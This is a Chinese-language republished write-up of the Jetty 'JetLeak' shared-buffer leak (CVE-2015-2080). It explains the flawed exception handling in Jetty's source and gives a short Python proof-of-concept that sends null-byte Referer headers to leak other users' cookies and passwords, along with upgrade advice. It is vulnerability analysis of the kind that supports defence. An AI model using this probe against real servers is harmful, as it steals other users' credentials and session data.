[CVE-2015-2080] Jetty web server 遠端共享緩衝區洩漏

wyzsk發表於2020-08-19
作者: 路人甲 · 2015/02/26 12:59

0x00 簡介


一家叫GDS的網站很醜的安全公司近日發現了一個 jetty web server的安全漏洞,允許攻擊者遠端讀取其他使用者之前的請求資訊,下一句話的意思是好好學習我就不翻譯了。

簡單來說,如果你執行著存在漏洞的jetty版本,那麼你的密碼,請求頭,cookie,anti-csrf令牌,token等等一系列的東西遭到駭客竊取。比如post請求中包含的資訊。

GDS還發現一個重要的事情就是,此資料洩漏漏洞本身並不侷限於request請求,還可以應用在response上,為了方便,這裡只簡單演示下攻擊request。

漏洞的根本原因在於,當提交非法的headers給伺服器時會觸發異常處理程式碼,其返回一個約16位元組的共享緩衝區資料。so,攻擊者可以透過精心構造headers值來觸發異常並偏移到共享緩衝區,其中包含了之前其他使用者提交的請求,伺服器會根據攻擊者的payload返回特定位置的資料。

0x01 相關資訊


漏洞影響的版本至 9.2.3之後的大多數版本。

gds寫了一個簡單的python指令碼用於測試是否存在該漏洞,讀者可以從github上下載該指令碼。

https://github.com/GDSSecurity/Jetleak-Testing-Script

0x02 漏洞原因


這一小節我們會集中在伺服器如何解析request。

當jetty接受到一個http請求,下面的程式碼會用於解析request中的header值,伺服器會迴圈檢查所有的字元,以下是檢查事項。

1164行 伺服器檢查是否是無效的ascii字元

1172行 檢查字元是否是為一個空格or tab。

1175行 是否是換行字元

1186行 如果字元中存在非法的ascii字元(比如小於0x20)那麼程式碼就會丟擲一個IllegalCharacter異常,並且傳入異常字串和共享緩衝區。

File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java

#!java
920: protected boolean parseHeaders(ByteBuffer buffer)
921: {
[..snip..]
1163:     case HEADER_VALUE:
1164:         if (ch>HttpTokens.SPACE || ch<0)
1165:         {
1166:             _string.append((char)(0xff&ch));
1167:             _length=_string.length();
1168:             setState(State.HEADER_IN_VALUE);
1169:             break;
1170:         }
1171:
1172:         if (ch==HttpTokens.SPACE || ch==HttpTokens.TAB)
1173:            break;
1174:
1175:         if (ch==HttpTokens.LINE_FEED)
1176:         {
1177:             if (_length > 0)
1178:             {
1179:                 _value=null;
1180:                 _valueString=(_valueString==null)?
                             takeString():(_valueString+” “+
                             takeString());
1181:             }
1182:             setState(State.HEADER);
1183:             break;
1184:         }
1185:
1186:         throw new IllegalCharacter(ch,buffer);

接著屌絲們跟蹤程式碼到IllegalCharacter的實現,伺服器用string.format方法返回一個非法字元的錯誤訊息,問題出在最後程式碼透過呼叫BufferUtil.toDebugString來輸出共享記憶體的內容。

File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java

#!java
1714: private class IllegalCharacter extends BadMessage
1715: {
1716:     IllegalCharacter(byte ch,ByteBuffer buffer)
1717:     {
1718:         super(String.format(“Illegal character 0x%x 
                      in state=%s in '%s’”,ch,_state,
                      BufferUtil.toDebugString(buffer)));
1719:     }
1720: }

接著到toDebugString方法,總的來說就是調研了appendDebugString將StringBuider作為第一個引數,緩衝區作為第二個引數,StringBuider的內容最終由appendDebugString進行填充並且返回給使用者。

File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java

#!java
 963: public static String toDebugString(ByteBuffer buffer)
 964: {
 965:     if (buffer == null)
 966:         return “null”;
 967:     StringBuilder buf = new StringBuilder();
 968:     appendDebugString(buf,buffer);
 969:     return buf.toString();
 970: }

額,我們前面說道,共享記憶體包含之前的request資料,為了讓駭客能夠獲取指定的資料,那麼我們就需要建立一個足夠長的非法字串去不斷覆蓋不重要的資料直到伺服器返回我們想要的資料。我們可以看到,在程式碼996行,在進行append之前,攻擊者已經透過非法header偏移到之前的請求,那麼此時返回的16位元組應該會包含我們想要的資料。

File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java

#!java
972:  private static void appendDebugString(StringBuilder buf,ByteBuffer buffer)
973: {
[..snip..]
983:     buf.append(“<<<”);
984:     for (int i = buffer.position(); i < buffer.limit(); i++)
985:     {
986:         appendContentChar(buf,buffer.get(i));
987:         if (i == buffer.position() + 16 && 
                     buffer.limit() > buffer.position() + 32)
988:         {
989:             buf.append(“…”);
990:             i = buffer.limit() - 16;
991:         }
992:     }
993:     buf.append(“>>>”);
994:     int limit = buffer.limit();
995:     buffer.limit(buffer.capacity());
996:     for (int i = limit; i < buffer.capacity(); i++)
997:     {
998:         appendContentChar(buf,buffer.get(i));
999:         if (i == limit + 16 && 
                    buffer.capacity() > limit + 32)
1000:        {
1001:             buf.append(“…”);
1002:             i = buffer.capacity() - 16;
1003:         }
1004:     }
1005:     buffer.limit(limit);
1006: }

簡單來說這次的漏洞主要問題出在對於非法字元的異常觸發上,就是IllegalCharacter,筆者羅列了呼叫了IllegalCharacter的檔案。

\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:401
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:530
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:547
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1161
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1215

下面一個小節進行了一次簡單的攻擊。

0x03 漏洞利用


Step 1:


jetty版本 version 9.2.7.v20150116

注意下面的請求,我們假設一個受害人傳送了這玩意,請注意cookie和post,我們將透過攻擊jetty獲取下列的值。

Reproduction Request (VICTIM):

POST /test-spec/test HTTP/1.1
Host: 192.168.56.101:8080
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64; rv:35.0) Gecko/20100101
Cookie: password=secret
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101:8080/test-spec/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

param1=test

Reproduction Response (VICTIM):

HTTP/1.1 200 OK
Set-Cookie: visited=yes
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
Server: Jetty(9.2.7.v20150116)
Content-Length: 3460

Step 2:


之後,攻擊者用一個簡單的python指令碼,在header中插入44個空位元組,這回導致異常的觸發,需要注意的是,搞清楚多少個位元組才能覆蓋到敏感資料是一個反覆的過程,建議先透過較小的字串,不斷加大,如果一開始選擇較大的字串可能會覆蓋一些敏感資料。

#!python
import httplib, urllib

conn = httplib.HTTPConnection("127.0.0.1:8080")

headers = {"Referer": chr(0)*44}
conn.request("POST", "/test-spec/test", "", headers)
r1 = conn.getresponse()
print r1.status, r1.reason

Step 3:


一旦執行上面的python指令碼,那麼攻擊者就會收到如圖中所示的錯誤資訊,請注意其中包含的cookie和密碼,如果你想要大於16個位元組的資料,那麼修改下長度多跑幾次就好了。

enter image description here

enter image description here

0x04 結語和修復建議


如果你不幸執行著存在漏洞版本的jetty,那麼官方的建議是立即更新到version 9.2.9.v20150224。 這裡有一份jetty的客戶名單,我就不說我看到阿里了。

http://eclipse.org/jetty/powered/

如果需要進行版本更新可以透過以下地址

Maven - http://central.maven.org/

Jetty Downloads Page - http://download.eclipse.org/jetty

這裡是原文:http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html

我省略了修復建議中的一些細節還有漏洞披露的時間表,具體可以參考原文。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章